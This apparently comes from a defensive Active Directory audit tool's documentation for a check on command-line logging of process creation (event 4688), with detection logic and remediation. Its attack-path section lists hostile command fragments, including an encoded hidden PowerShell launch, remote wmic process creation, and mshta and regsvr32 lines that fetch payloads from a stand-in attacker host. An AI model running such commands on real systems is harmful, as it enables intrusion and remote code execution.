ADLOG-004: Auditoría de creación de procesos con línea de comandos
- Plataforma
- Active Directory
- Categoría
- AD Logging & EDR Posture
- Severidad
- High
- Pilar de Zero Trust
- Visibility & Analytics (peso 2)
- Fixtures de referencia
- 3
- Cobertura de ramas
- Observada: los fixtures prueban los veredictos que ejercitan
- Procedencia
- baseline
Qué comprueba
El evento 4688 (creación de procesos) es la señal fundamental de movimiento lateral: indica qué proceso se inició y quién lo hizo. El evento 4688 predeterminado NO incluye la línea de comandos, lo que lo vuelve casi inútil para investigaciones que impliquen PowerShell, wmic, mshta u otros binarios living-off-the-land. La directiva 'Incluir línea de comandos en los eventos de creación de procesos' cubre esa carencia.
Por qué importa
Process creation auditing is the single highest-value Windows telemetry source for detecting hands-on-keyboard activity, lateral movement, and execution of LOLBins. Almost every adversary playbook documented by Mandiant and Microsoft DART relies on commands invoked through powershell.exe, cmd.exe, wmic.exe, mshta.exe, rundll32.exe, regsvr32.exe, certutil.exe, bitsadmin.exe, or msbuild.exe. The executable name alone tells you nothing useful: powershell.exe is launched legitimately thousands of times per day in most environments. The malicious payload lives in the command-line arguments (encoded -EncodedCommand blocks, remote download cradles, AMSI bypasses, COM hijack invocations). Without ProcessCreationIncludeCmdLine_Enabled set to 1, the SIEM receives a stream of 4688 events with the Process Command Line field empty, defeating every Sigma rule, every analytic, and every threat hunt that depends on argument inspection. The blast radius is the entire forest: a missed PowerShell download cradle on a single workstation is the typical entry point that becomes domain compromise within 48 hours. Equally critical, this telemetry is what feeds Kerberoasting detection (4769 events alone do not show the tool used), DCSync detection (correlation of 4662 with the calling process), and BloodHound collector identification. The gap is exploited by every threat actor that touches a Windows endpoint.
Ruta de ataque
Step 1: Initial access. The attacker lands on a workstation via a phishing payload, an exposed RDP host, or a compromised VPN credential. The first action on most engagement playbooks is reconnaissance via PowerShell, e.g. powershell.exe -nop -w hidden -enc <base64>. If ProcessCreationIncludeCmdLine_Enabled is 0, the SIEM sees only that powershell.exe ran. The encoded command string, the parent process, and the argument string are invisible. Step 2: Discovery. The attacker enumerates the domain with built-in commands: net group "Domain Admins" /domain, nltest /domain_trusts, whoami /all, wmic computersystem get domain. Each of these generates a 4688, and each is benign in name only. Without command lines the SIEM sees wmic.exe with no context. Step 3: Credential access. The attacker runs Rubeus, SafetyKatz, or Invoke-Mimikatz via an in-memory loader. The parent powershell.exe shows up in 4688 but the cradle URL, the function name (Invoke-Kerberoast, sekurlsa::logonpasswords), and the target SPN list are all in the command line. Step 4: Lateral movement. The attacker pivots with wmic /node:DC01 process call create or schtasks /create /s DC01. Both are 4688-generating events. Without command-line capture there is no way to see which remote host was targeted or what payload was scheduled. Step 5: Persistence. The attacker creates a scheduled task via schtasks.exe or a WMI event subscription via wmic. The argument string is the persistence payload; the binary is a signed Microsoft tool. Detection without command-line capture is impossible. Step 6: Defense evasion. The attacker uses mshta.exe https://attacker/payload.hta, rundll32.exe javascript:..., or regsvr32.exe /s /n /u /i:http://... scrobj.dll. Every one of these is a 4688. With command-line capture disabled, the SIEM logs "rundll32.exe ran on HOST" and nothing more. In each step the attacker is not bypassing the audit subsystem. The audit subsystem is operating correctly. The misconfiguration ships its output with the most important field blank.
Cómo lo evalúa Guerrilla
Guerrilla enumerates every domain controller via Get-ADDomainController and (optionally) every server that responds in the Servers OU. For each target it executes auditpol.exe /get /subcategory:"Process Creation" /r over WinRM and parses the CSV output for the Inclusion Setting column. It expects "Success" or "Success and Failure". Anything else (NoAuditing, Failure-only) is a finding. In parallel, the check reads HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit\ProcessCreationIncludeCmdLine_Enabled via remote registry or Invoke-Command. A missing value or a DWORD of 0 is a finding. The check also pulls Get-GPO and resolves each GPO linked to the Domain Controllers OU and the Servers OUs, walking the Administrative Templates and Advanced Audit Policy sections so that the operator gets a list of GPOs that should be modified rather than just a per-host registry read. Finally, the check samples the Security log on each DC for the most recent 4688 event and inspects the CommandLine field. A non-empty CommandLine on at least one recent event confirms that the policy has not only been written but is also being honored by the audit subsystem (the registry value is read at process-start, so a policy refresh without subsequent process creation can leave the event stream looking briefly empty).
Valor recomendado
La directiva de grupo 'Incluir línea de comandos en los eventos de creación de procesos' está habilitada Y la subcategoría de directiva de auditoría avanzada 'Auditar la creación de procesos' está establecida en Correcto.
Remediación
Dos parámetros, ambos obligatorios: (1) Configuración del equipo > Directivas > Plantillas administrativas > Sistema > Auditar la creación de procesos > 'Incluir línea de comandos en los eventos de creación de procesos' = Habilitado. (2) Configuración del equipo > Directivas > Configuración de Windows > Configuración de seguridad > Configuración de directiva de auditoría avanzada > Seguimiento detallado > Auditar la creación de procesos = Correcto. Sin (1), los eventos 4688 llegan sin la cadena de argumentos NewProcessName. Sin (2), no llegan en absoluto.
Veredictos probados con fixtures
Cada veredicto de esta tabla está probado por un fixture de referencia en la suite de pruebas que valida el módulo. La tabla se deriva de la última ejecución en verde; no puede editarse a mano.
| Escenario | Veredicto esperado |
|---|---|
| clean | PASS |
| known-bad | WARN |
| throttled | Not Assessed |
Mapeos a marcos de referencia
- NIST SP 800-53
- AU-2, AU-3
- CIS AD Benchmark
- 9.1.2
- MITRE ATT&CK
- T1059, T1218